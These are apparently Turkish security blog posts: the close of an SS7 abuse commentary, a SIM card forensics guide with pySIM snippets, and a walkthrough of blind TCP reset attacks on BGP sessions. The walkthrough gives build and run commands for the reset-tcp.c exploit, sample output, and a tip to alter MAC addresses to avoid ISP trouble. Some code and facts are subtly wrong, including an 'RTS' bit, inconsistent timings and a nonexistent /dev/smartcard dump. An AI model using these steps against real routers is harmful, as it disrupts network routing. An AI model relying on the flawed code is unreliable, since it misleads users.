    Sonuç olarak, mobil operatörlerin SS7 ağ güvenliğine bakış açısı hakkında birkaç söz söylemek istiyorum. Birincisi, haklı olarak, SS7 ağına tamamen yasa dışı erişim sağlamanın imkansız olduğuna inanıyorlar. İkincisi, tüm operatörlerin trafik akışı anlaşmaları var ve bir operatör tarafından kötü niyetli bir faaliyet tespit edilse bile, kaynak adresini engellemek kolaydır. Üçüncüsü, SS7 ağının kötüye kullanılmasına dair bilinen çok az vaka var.

    Bu üç ifade de tamamen doğrudur. Ancak, her birinin istisnaları vardır.

    Örneğin, katma değerli hizmet sağlayıcı kılıfı altında bir SS7 bağlantısı elde etmek mümkündür. Bu, Türkiye’de muhtemelen mümkün olmayacaktır, ancak daha esnek telekomünikasyon yasalarına sahip veya yolsuzluğun yaygın olduğu ülkeler vardır. Ayrıca, devlet istihbarat teşkilatlarının da saldırgan olarak hareket edebileceğini hatırlamak önemlidir – elbette, ülkelerinin iyiliği için.

    Yasa dışı faaliyetleri önlemeden önce, öncelikle tespit edilmesi gerekir. Çok az operatör, SS7 ağlarını sürekli olarak izinsiz giriş ve saldırılara karşı izler. Bir SS7 saldırısı tespit edilip durdurulsa bile, ne zaman başladığını veya ne kadar sürdüğünü kimse söyleyemez.

    SS7 ile ilgili birçok kötüye kullanım vakası geniş medya ilgisi gördü. Bu vakalardan biri Edward Snowden tarafından bildirildi ve bilgiler daha sonra Washington Post’ta yayınlandı. Söz konusu hizmet, SS7 ağları da dahil olmak üzere mobil abonelerin gözetimini sağlayan SkyLock’tur.

    Mobil ağ trafiği yönlendirme hizmeti

    Bu hizmet ne kadar süreyle faaliyet gösterdi? Faaliyet gösterdiği süre boyunca kaç abone hedef alındı? Edward Snowden’ın sızıntısı olmasaydı ne kadar süre daha faaliyet göstermeye devam ederdi? Bu soruların cevaplarını muhtemelen asla bilemeyeceğiz.

    Bir diğer yüksek profilli olay ise Türkiye’den Suriyeli mobil abonelerin telefonlarının dinlenmesiydi. Evet, bu da SS7’nin yetenekleri sayesinde mümkün oldu. Saldırının başlangıcından tespit edilip kontrol altına alınmasına kadar birkaç ay geçti. Saldırı idari ve teknik yollarla engellendi, ancak sızıntılar tespit edilemese de mobil operatöre ve komşu devlete önemli zararlar verildi.

    Bu konuyu benimle özel mesaj yoluyla daha detaylı olarak görüşebilirsiniz. İletişim bilgilerim bu web sitesinin ilgili bölümünde yer almaktadır.

  • SIM Kart Forenziği: 2026 Yılında SIM Kartlardan Veri Çıkarma

    SIM Kart Forenziği: 2026 Yılında SIM Kartlardan Veri Çıkarma

    1. Giriş: SIM Kartlar Soruşturmalar İçin Neden Önemlidir?

    Bir dedektifin şüpheliye ait bir telefona el koyduğunu düşünün. Telefon şifrelenmiş olabilir ve şüpheli iş birliği yapmayı reddedebilir. Bu durumda en etkili adımlardan biri SIM kartı çıkarıp ayrı bir analiz yapmaktır.

    OSS-7

    SIM kart; son aramalar, SMS mesajları, kişiler ve konum verileri gibi kritik kanıtlar içerebilir. 2026 yılında, eSIM teknolojisinin yaygınlaşmasına rağmen fiziksel SIM kartlar hala yoğun olarak kullanılmaktadır.

    2. SIM Kart Nedir ve Hangi Verileri Saklar?

    SIM (Subscriber Identity Module), bir aboneyi operatör ağında tanımlayan entegre devreye sahip bir mikroçiptir. Temel işlevleri kimlik doğrulama, veri saklama (rehber, SMS), güvenlik (şifreleme anahtarları) ve taşınabilirliktir.

    Saklanan Veri Türleri:

    • Kimlik Bilgileri: IMSI (Abone numarası), ICCID (SIM kart seri numarası), MSISDN (Telefon numarası), MCC/MNC (Ülke ve operatör kodları).
    • Kullanıcı Verileri: Kişiler (ADN), SMS mesajları, arama geçmişi.
    • Sistem Verileri: LAI (Son bilinen konum alanı), yasaklı ağlar, PIN/PUK kodları.

    3. SIM Kartın Yapısı: Fizikten Dosya Sistemine

    SIM kartlar işlemci, ROM, RAM ve verilerin saklandığı EEPROM (32KB-512KB) birimlerinden oluşur. Dosya sistemi hiyerarşiktir:

    • MF (Master File): Kök dizin.
    • DF (Dedicated Files): Alt dizinler (GSM, Telekom vb.).
    • EF (Elementary Files): Veri dosyaları (ICCID, SMS vb.).

    Erişim Koşulları:

    • ALW: Her zaman erişilebilir.
    • CHV1: PIN1 kodu gerektirir.
    • ADM: Sadece operatör erişimi.
    • NEV: Asla erişilemez.

    4. Veri Çıkarma Yöntemleri

    1. Mantıksal Veri Çıkarma (Logical Extraction): Standart ISO 7816-4 komutları kullanılarak verilerin “istenmesi” işlemidir. Hızlıdır ancak silinmiş verileri kurtaramaz.
    2. Fiziksel Veri Çıkarma (Physical Extraction): Hafızanın bit-bit tam kopyasının (dump) alınmasıdır. Silinmiş verileri kurtarmaya olanak tanır ancak daha zordur.
    3. Telefon Üzerinden Çıkarma: Telefonu bilgisayara bağlayıp AT komutları ile veri almaktır.
    4. SIM Klonlama: Orijinal kartın kopyasını oluşturmaktır; adli bilişim süreçlerinde orijinali korumak için kullanılır.

    5. 2026 Yılında SIM Kart Forenziği Araçları

    • Cellebrite UFED: Endüstri standardıdır; fiziksel ve mantıksal çıkarma yapar.
    • MOBILedit Forensic: Rehber, SMS ve arama analizi için uygun maliyetli bir çözümdür.
    • SIMCon: Sadece SIM analizine odaklanan uzmanlaşmış bir araçtır.
    • pySIM: Python tabanlı, açık kaynaklı bir kütüphanedir.

    Kod Örneği (pySIM ile ICCID okuma):

    from pySim.commands import SimCardCommands
    from pySim.transport.pcsc import PcscSimLink
    
    sl = PcscSimLink()
    sc = SimCardCommands(transport=sl)
    # ICCID okuma
    iccid = sc.read_binary(['3F00', '2FE2'])
    print(iccid)
    

    6. Adım Adım Veri Çıkarma Rehberi

    1. Hazırlık: Antistatik ekipman, SIM okuyucu ve gerekli yazılımları hazırlayın.
    2. Belgeleme: Cihazın durumunu fotoğraflayın, IMEI ve model bilgilerini not edin.
    3. Kartı Çıkarma: Cihazı kapatın ve SIM kartı dikkatlice çıkarın (kontaklara dokunmayın).
    4. Bağlantı ve Okuma: Kartı okuyucuya takın ve yazılım üzerinden uygun kategorileri seçerek veri çıkarmayı başlatın.
    5. Analiz: Çıkarılan rehber, SMS ve konum (LAI) verilerini inceleyin.

    Gelişmiş Fiziksel Dump Alma Örneği (Python):

    from pySim.commands import SimCardCommands
    from pySim.transport.pcsc import PcscSimLink
    
    # SIM'e bağlanma
    sl = PcscSimLink()
    sc = SimCardCommands(transport=sl)
    
    # Tüm hafızayı okuma
    memory_dump = []
    for addr in range(0x0000, 0xFFFF):
        try:
            data = sc.read_binary([hex(addr)[2:]])
            memory_dump.append(data)
        except:
            pass
    
    # Dump dosyasını kaydetme
    with open('sim_dump.bin', 'wb') as f:
        f.write(b''.join(memory_dump))
    

    7. Veri Türleri ve Adli Değeri

    • ICCID: Kartı benzersiz şekilde tanımlar ve operatörle bağlantı kurmayı sağlar.
    • IMSI: Abonenin ağdaki kimliğidir; arama detaylarını istemek için kullanılır.
    • LAI (Location Area Identity): Son konum bilgisini verir (5-50 km hassasiyetle).
    • Silinmiş Veriler: Fiziksel çıkarma ile “unallocated space” analizi yapılarak kurtarılabilir.

    HxD üzerinde silinmiş SMS analizi örneği:

    offset : 0x0400
    Data: 00 00 00 00 48 65 6C 6C 6F ... ← Silinmiş SMS "Hello"
    

    8. Farklı Nesil SIM Kartlar ve eSIM

    • 2G/3G/4G/5G: Nesil ilerledikçe hafıza kapasitesi ve güvenlik artmaktadır.
    • eSIM: Cihaza gömülü olduğundan fiziksel olarak çıkarılamaz; veriler cihaz hafızası analizi veya operatör talebi ile elde edilir.

    9. Hukuki Boyut ve Kanıt Zinciri (Chain of Custody)

    Kanıtın el konulmasından mahkemeye kadar olan sürecinin belgelenmesi esastır. Bu, kanıtın değiştirilmediğini kanıtlar.

    Kanıt Zinciri Formu Örneği:

    KANIT ZİNCİRİ
    Dosya No: ___________
    Kanıt No: _________
    Açıklama: nano-SIM kart, ICCID 89701011234567890123
    Tarih/Saat | İşlem | Gönderen | Alan | İmza
    --||-|-|-
    01.02.2026 | El Koyma | - | İvanov İ | ________
    

    Adli Doğruluk (Forensic Soundness) için Hash Hesaplama:

    # 1. Orijinal hash alma
    sha256sum /dev/smartcard > sim_original.sha256
    # 2. Dump oluşturma
    dd if=/dev/smartcard of=sim_dump.bin bs=1
    # 3. Dump hash alma
    sha256sum sim_dump.bin > sim_dump.sha256
    

    10. Sıkça Sorulan Sorular

    • Silinmiş SMS kurtarılabilir mi? Evet, fiziksel çıkarma ile üzerine yazılmadıysa mümkündür.
    • PIN kodu engeli nasıl aşılır? Profesyonel araçlar (Cellebrite vb.) özel komutlarla bunu aşabilir; asla deneme-yanılma yapmayın.
    • SIM üzerinden konum belirlenebilir mi? Sadece LAI üzerinden yaklaşık bölge belirlenebilir.

    Sonuç: En İyi Uygulamalar

    2026’da SIM kart forenziği hala kritiktir. Başarılı bir analiz için mutlaka fiziksel ve mantıksal yöntemleri birleştirin, kanıt zincirine uyun ve her zaman verinin bir kopyası (dump) üzerinde çalışın.

    Bu konuyu benimle özel mesaj yoluyla daha detaylı olarak görüşebilirsiniz. İletişim bilgilerim bu web sitesinin ilgili bölümünde yer almaktadır.

  • TCP Connection Reset Remote Exploit ile BGP Oturumunu Sıfırlama

    TCP Connection Reset Remote Exploit ile BGP Oturumunu Sıfırlama

    TCP protokolünden zaten birkaç kez bahsettim, bu yüzden kendimi tekrar etmeyeceğim. Sadece temel bilgileri özetleyeceğim: İletim Kontrol Protokolü (TCP), RFC 793’te açıklanmıştır ve avantajı, internet üzerinden bir makineden diğerine güvenilir veri iletimi sağlamasıdır. Bu, TCP’nin güvenilir veri iletimini garanti ettiği ve düşen veya hasar görmüş paketleri otomatik olarak algıladığı anlamına gelir. Tasarımında önemli olan nedir?

    Tipik olarak, bir TCP paket başlığı şöyle görünür:

    TCP paket başlıkları

    Nmap veya Metasploit, bir veri arabelleğini TCP yığınına iletir. Yığın daha sonra bu veriyi bölümlere ayırır ve veri kümeleri halinde paketler. Bu veri kümeleri, ağ üzerinden iletilen paketleri oluşturmak için kullanılır. Bağlantının diğer ucunda, ters işlem gerçekleşir. Veri kümesi ve bölümleri paketlerden çıkarılır, ardından bölümler TCP yığınına iletilir, burada analiz edilir, yeniden birleştirilir ve hedef işlem birimine gönderilir.

    Sequence numbers

    Veriler, alıcıya ayrı ayrı paketler halinde ağ üzerinden gönderilen segmentlere ayrılır. Paketlerin hedeflerine sırasız bir şekilde ulaşması mümkündür. Bu alan, segmentin sıra numarasını belirten 32 bitlik bir sayıdır. Her paketle birlikte artar ve verilerin doğru sırada yeniden birleştirilmesini sağlar. Genel olarak, bu değer bir paketin aktif bir oturuma ait olup olmadığını belirler.

    Window

    TCP ayrıca sunucuların ne kadar veri almak istediklerini iletmeleri için bir mekanizma sağlar. Bu, TCP başlığındaki 16 bitlik bir sayı olan Pencere alanıdır. Ayarlandığında, sunucuya kesinlikle sınırlı miktarda veri alınacağını ve kalan paketlerin atılacağını bildirir. Alma kuyruğu doluysa, sunucu diğer uca daha fazla veri almayacağını bildirmek için alma penceresini 0’a ayarlayabilir.

    Kontrol bitleri (SYN, ACK, PSH, URG, RST ve FIN) birçok kez ele alındı, bu nedenle içeriklerini burada tekrar etmeyeceğim.

    TCP RESET saldırısı

    Temel fikir, bir paket oluşturarak kurulmuş bir TCP bağlantısını sonlandırmaktır. A ana bilgisayarından B ana bilgisayarına olan bir bağlantıyı ele alalım. Üçüncü bir ana bilgisayar olan C, A ana bilgisayarının kaynak portunu ve IP adresini, B ana bilgisayarının hedef portunu ve IP adresini ve A ile B arasındaki aktif TCP bağlantısının mevcut sıra numarasını belirten bir paket oluşturur. C ana bilgisayarı pakete RTS bitini ekler, böylece B paketi aldığında bağlantı hemen sonlandırılır. Bu, yeni bir BGP oturumu kurulana kadar BGP oturumunu kesintiye uğratır.

    Protokol hatası, yönlendirici için oldukça tatsız bir durum olan “yönlendirme atlamalarına” yol açabilir.

    Güvenlik açığı

    Bu güvenlik açığını keşfeden Paul Watson, böyle bir saldırının daha önce düşünüldüğü kadar zor olmadığını açıklıyor. Önceki hesaplamalar, bir sıra numarasına yönelik kaba kuvvet saldırısının 1’den 4.294.967.295’e kadar tüm sayıları denemeyi gerektireceğini öne sürüyordu. Ancak bu tamamen doğru değil. Örneğin, A ana bilgisayarındaki TCP yığını 16K’lık bir pencereyle sınırlıysa, yığın bu pencere içindeki tüm paketleri almalıdır. Saldırganın, RTS ayarı tüm SN dizisi boyunca ayarlanmış paketler göndermesi gerekmez, bunun yerine TCP, pencere boyutuyla tanımlanan bir aralıktaki herhangi bir sıra numarasını kabul edeceğinden, kendisini her olası pencereyle sınırlandırır. Bu nedenle, saldırganın tüm kullanılabilir pencereleri vurmak için 4.294.967.295 / 16.384 = 262.143 denemesi gerekir.

    262.000 büyük bir sayı gibi görünse de aslında öyle değil. Birincisi, iyi bir bağlantıyla, bir saldırgan saniyede on binlerce paket üretebilir. İkincisi, saldırı birden fazla sunucuya dağıtılabilir. Örneğin, standart bir DSL hattı saniyede 250 paket üretebilir ve tüm olası paketleri 17 dakikada tüketebilir. 2 Mbps’lik bir bağlantıyla bu, sadece 60 saniyede 4.730 paket anlamına gelir.

    Örneğimde 16K’lık bir pencere kullanılıyor, ancak RFC’ye göre bu alan 16 bit olup maksimum pencere boyutu 64K’dır. Tam pencere boyutu kullanılırsa, saldırgan yalnızca 65.537 paket veya sırasıyla 4 ve 15 saniye alacaktır. Bunun maksimum süre olduğunu unutmayın; ortalama olarak bunun yarısı kadar olacaktır (pratikte 3 dakika 8 saniye). Güvenlik açığında açıklanan dört pakete gelince, bu yalnızca pencere ölçeklendirmesi, bir TCP uzantısı (bkz. RFC 1323) kullanıldığında meydana gelir; burada pencere boyutu 16 bitten 30 bite çıkarılır (örneğin, yukarıda açıklanan BGP’de uygulanır). Maksimum pencere boyutuyla, saldırganın TCP sıfırlamasını tetiklemek için yalnızca dört paket göndermesi yeterli olacaktır.

    Source Port

    Yukarıdaki örneklerin tümü, saldırganın hedef port ve IP adresinin yanı sıra kaynak port ve kaynak adresini de bilmesine dayanmaktadır. İlk iki parametreyi elde etmek ve belirlemek kolaydır. Hedef IP adresini belirlemek de kolaydır; bu, oluşturulan paketin hedeflendiği istemci adresidir. Tek soru kaynak porttur. Örneğin, işletim sistemi 1025 ile 49152 arasında değişen bir havuzdan rastgele bir port atarsa ​​(OpenBSD’nin yaptığı gibi), bu, her port numarasıyla bir sıra numarasını eşleştirmeyi gerektireceğinden, deneme sayısını tam olarak 48127 kat artıracaktır. İyi haber şu ki, Linux ve Windows dahil olmak üzere çoğu işletim sistemi bu mekanizmayı kullanmıyor, bu da bu savunmayı geçersiz kılıyor.

    reset-tcp.c güvenlik açığı

    Paul Watson, alışılmadık derecede cömert davranarak yazdığı reset-tcp.c güvenlik açığını çevrimiçi olarak yayınladı. Bu açığı basit bir Debian Linux sisteminde bile oluşturmak oldukça kolay.

    reset-tcp.c güvenlik açığı

    Derlemeye başlamadan önce, sistemde gerekli libnet-1.1.1 kütüphanesinin bulunup bulunmadığını kontrol etmenizi ve eksikse yüklemenizi öneririm:

    apt-get install libnet1-dev

    Kütüphaneyi sisteme başarıyla kurduktan sonra, istismar dosyasını oluşturmaya geçiyoruz:

    gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a

    veya

    gcc -o reset-tcp reset-tcp.c -lnet

    Ayrıca, kullanım sırasında internet sağlayıcınızla ilgili gereksiz sorunlardan kaçınmak için MAC adresini (enet_src/enet_dst) kod içinde önceden değiştirebilirsiniz.

    Örnek başlatma:

    reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]

    [root@orc EuroTransTelecom]# ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536

    Packets sent: 8192 Sequence guess: 536805376
    Packets sent: 16384 Sequence guess: 1073676288
    Packets sent: 24576 Sequence guess: 1610547200
    Packets sent: 32768 Sequence guess: 2147418112
    Packets sent: 40960 Sequence guess: 2684289024
    Packets sent: 49152 Sequence guess: 3221159936
    Packets sent: 57344 Sequence guess: 3758030848
    packets sent: 65535

    SYN saldırısı

    Sıfırlama saldırısı, RST biti olmadan da gerçekleştirilebilir. Bunun yerine, SYN biti ayarlanarak yukarıda açıklanan saldırının aynısı yapılabilir. Çoğu TCP yığın uygulamasında, tekrarlanan bir SYN, sıra numarası içeren bir RST ile sonuçlanır. SYN mevcut oturum penceresi içindeyse, RST yanıtı yerine oturum sonlandırılır ve sistem büyük olasılıkla yeniden başlatılır.

    Kör veri enjeksiyonu

    Son olarak, üçüncü ama kesinlikle son olmayan senaryo. Önceki durumlarda olduğu gibi, sıra numarasını bulmak için kaba kuvvet yöntemi kullanılıyor, ancak boş SYN veya RST paketleri göndermek yerine geçerli bir veri paketi oluşturuluyor. Bu durumda bağlantı kesilmeyecek, ancak kullanıcının bilgisayarının göreceği şey tamamen bir gizem olacak. İletilen veriler felaket derecede bozulmuş olacak.

    Bu konuyu benimle özel mesaj yoluyla daha detaylı olarak görüşebilirsiniz. İletişim bilgilerim bu web sitesinin ilgili bölümünde yer almaktadır.